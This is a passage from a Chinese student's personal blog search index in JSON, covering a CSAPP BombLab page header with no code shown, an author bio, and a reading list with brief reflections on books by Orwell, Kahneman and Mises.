group\"\u003eCSAPP:BombLab \n    \u003cdiv id=\"csappbomblab\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\"\n            style=\"text-decoration-line: none !important;\" href=\"#csappbomblab\" aria-label=\"Anchor\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e[!NOTE]\u003c/p\u003e\n\u003cp\u003e本文主要参考博客：arthals.ink，如果你要学习方法，你只要看TA写的就可以了，我只看了前两层，    只是做个记录，我认为对于我来说很好的解决问题方式就是写注释(所以我这里有逐行的注释)。\u003c/p\u003e","title":"CSAPP:BombLab","type":"csapp"},{"content":" \u0026ldquo;My Heart Is In The Work.\u0026rdquo; \u0026mdash;Andrew Carnegie\n","date":"8 March 2025","externalUrl":null,"permalink":"/tech/","section":"Tech","summary":"\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003e\u0026ldquo;My Heart Is In The Work.\u0026rdquo; \t\u0026mdash;Andrew Carnegie\u003c/strong\u003e\u003c/p\u003e\u003c/blockquote\u003e","title":"Tech","type":"tech"},{"content":" 自由，是说2 + 2 = 4的自由。 \u0026mdash;《1984》\n上图是笔者最喜欢的动漫角色之一，秋山澪,作者SuperPig,希望大家喜欢。\n​\t笔者是在读本科生，专业是计算机科学与技术，对于技术感觉算不上热爱，但是也算感兴趣（毕竟要吃饭），虽然了解不深，但是自认为感兴趣的方向在网络和OS，喜欢ACG相关的文化，一直在自学日语（虽然也很菜），如果你想和我交流，欢迎加我的微信：mio18091418628。\n​\t我看过什么动漫么？这是我的bangumi主页，有时候会简单写点东西，当然是我很主观的评价，您不必因此感到不快，动漫应当是轻松并且带来审美上的快感，而不是成为争论的战场。\n​\t笔者高中期间没有信息竞赛相关经验，仅仅是为了熟悉算法以及数据结构刷过一些Leetcode和某些OJ网站，这是我的力扣主页,为了有效的练习，我还用Notion搭建了一个小题单,欢迎你的访问。\n​\n","externalUrl":null,"permalink":"/author/","section":"","summary":"\u003cblockquote\u003e\n\u003cp\u003e自由，是说2 + 2 = 4的自由。 \u0026mdash;《1984》\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003e\n    \u003cfigure\u003e\n      \u003cimg class=\"my-0 rounded-md\" loading=\"lazy\" src=\"/img/280px-%E7%A7%8B%E5%B1%B1%E6%BE%AA%E9%A5%AE%E6%96%99.png\" alt=\"秋山澪飲料.png\" /\u003e\n      \n    \u003c/figure\u003e\n\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e上图是笔者最喜欢的动漫角色之一，\u003ca href=\"https://k-on.fandom.com/wiki/Mio_Akiyama\" target=\"_blank\"\u003e秋山澪\u003c/a\u003e,作者\u003ca href=\"https://www.pixiv.net/users/15231158\" target=\"_blank\"\u003eSuperPig\u003c/a\u003e,希望大家喜欢。\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003e​\t笔者是在读本科生，专业是计算机科学与技术，对于技术感觉算不上热爱，但是也算感兴趣（毕竟要吃饭），虽然了解不深，但是自认为感兴趣的方向在网络和OS，喜欢ACG相关的文化，一直在自学日语（虽然也很菜），如果你想和我交流，欢迎加我的微信：mio18091418628。\u003c/p\u003e\n\u003cp\u003e​\t我看过什么动漫么？这是我的\u003ca href=\"https://bangumi.tv/user/nunotaba_shinob\" target=\"_blank\"\u003ebangumi主页\u003c/a\u003e，有时候会简单写点东西，当然是我很主观的评价，您不必因此感到不快，动漫应当是轻松并且带来审美上的快感，而不是成为争论的战场。\u003c/p\u003e\n\u003cp\u003e​\t笔者高中期间没有信息竞赛相关经验，仅仅是为了熟悉算法以及数据结构刷过一些Leetcode和某些OJ网站，这是我的\u003ca href=\"https://leetcode.cn/u/festive-goldwasser2cd/\" target=\"_blank\"\u003e力扣主页\u003c/a\u003e,为了有效的练习，我还用Notion搭建了一个小\u003ca href=\"https://soft-caution-b3f.notion.site/df14768a80fc47d984647e53710855bd?v=f08449aa1528400fb804127ba6a810e4\" target=\"_blank\"\u003e题单\u003c/a\u003e,欢迎你的访问。\u003c/p\u003e\n\u003cp\u003e​\u003c/p\u003e","title":"","type":"author"},{"content":" Reading # 可能会在这里放一些简单的读书笔记或者思考之类的，毫无疑问，我们欠缺阅读，而在上大学之前的“阅读”，我都很难称之为阅读，或许有一个更好的词语。\n读书是要进行简单的记录的，对于我们阅读的速度和质量都有较好的把控。\nName Author Type 《动物庄园》 George Orwell 童话小说 《1984》 George Orwell 科幻小说 《为了活下去》 朴研美 人物传记 《乡土中国》 费孝通 社会学 《呐喊》 鲁迅 短，中篇小说集 《房思琪的初恋乐园》 林奕含 长篇小说 《思考，快与慢》 דניאל כהנמן 经济学科普 《苏菲的世界》 Jostein Gaarder 哲学科普作品 《不确定性:人的行为》第六章 路德维希 冯 米塞斯 奥地利经济学派作品 ​\t苏菲的世界看了很长时间,很久没有认真阅读了,是很不错的科普作品,可以对西方哲学史有比较全面的了解,当然也比较粗略.\n​\t不确定性,人的行为,我认为这里对行为经济学的探讨就是在指导我们不要用一群人的行为的历史规律来指导自己未来的选择.\n​\t类的或然率,案由或然率,一个很简单的例子,在高考结束后我们经常会听到有人说自己 超常发挥 或者 失常发挥 之类的,这本身并不能成立,这个 常 指的是什么?\n你平时的模考成绩平均么?\n​\t怎样保证实际高考和模考在评测的意义上具有同等的效力?显然不行,仅有在那个时刻,那个地点产生的行为才是有效的,而再次之前,所有的类的或然率都不具有参考价值.\n如何才能证明超常或者失常发挥?\n​\t那就是取几百个平行宇宙,相同的时间,地点,你参加了高考,同样的结果做平均分,高于这个平均分就是超常,低于这个平均分就是失常,显然这是在扯淡.\n​\t这一章节只想告诉我们一件事情,就是历史规律在个体面前会失去它几乎所有的意义.\n","externalUrl":null,"permalink":"/reading/","section":"","summary":"\u003ch1 class=\"relative group\"\u003eReading \n    \u003cdiv id=\"reading\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\"\n            style=\"text-decoration-line: none !important;\" href=\"#reading\" aria-label=\"Anchor\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e可能会在这里放一些简单的读书笔记或者思考之类的，毫无疑问，\u003cstrong\u003e我们欠缺阅读\u003c/strong\u003e，而在上大学之前的“阅读”，我都很难称之为阅读，或许有一个更好的词语。\u003c/p\u003e\n\u003cp\u003e读书是要进行简单的记录的，对于我们阅读的速度和质量都有较好的把控。\u003c/p\u003e\u003c/blockquote\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth style=\"text-align: center\"\u003eName\u003c/th\u003e\n          \u003cth\u003eAuthor\u003c/th\u003e\n          \u003cth\u003eType\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003e《动物庄园》\u003c/td\u003e\n          \u003ctd\u003eGeorge Orwell\u003c/td\u003e\n          \u003ctd\u003e童话小说\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003e《1984》\u003c/td\u003e\n          \u003ctd\u003eGeorge Orwell\u003c/td\u003e\n          \u003ctd\u003e科幻小说\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003e《为了活下去》\u003c/td\u003e\n          \u003ctd\u003e朴研美\u003c/td\u003e\n          \u003ctd\u003e人物传记\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003e《乡土中国》\u003c/td\u003e\n          \u003ctd\u003e费孝通\u003c/td\u003e\n          \u003ctd\u003e社会学\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003e《呐喊》\u003c/td\u003e\n          \u003ctd\u003e鲁迅\u003c/td\u003e\n          \u003ctd\u003e短，中篇小说集\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003e《房思琪的初恋乐园》\u003c/td\u003e\n          \u003ctd\u003e林奕含\u003c/td\u003e\n          \u003ctd\u003e长篇小说\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003e《思考，快与慢》\u003c/td\u003e\n          \u003ctd\u003eדניאל כהנמן\u003c/td\u003e\n          \u003ctd\u003e经济学科普\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003e《苏菲的世界》\u003c/td\u003e\n          \u003ctd\u003eJostein Gaarder\u003c/td\u003e\n          \u003ctd\u003e哲学科普作品\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003e《不确定性:人的行为》第六章\u003c/td\u003e\n          \u003ctd\u003e路德维希 冯 米塞斯\u003c/td\u003e\n          \u003ctd\u003e奥地利经济学派作品\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003cblockquote\u003e\n\u003cp\u003e​\t苏菲的世界看了很长时间,很久没有认真阅读了,是很不错的科普作品,可以对西方哲学史有比较全面的了解,当然也比较粗略.\u003c/p\u003e","title":"","type":"reading"},{"content":"","externalUrl":null,"permalink":"/authors/","section":"Authors","summary":"","title":"Authors","type":"authors"},{"content":"","externalUrl":null,"permalink":"/categories/","section":"Categories","summary":"","title":"Categories","type":"categories"},{"content":"","externalUrl":null,"permalink":"/series/","section":"Series","summary":"","title":"Series","type":"series"},{"content":"","externalUrl":null,"permalink":"/tags/","section":"Tags","summary":"","title":"Tags","type":"tags"}]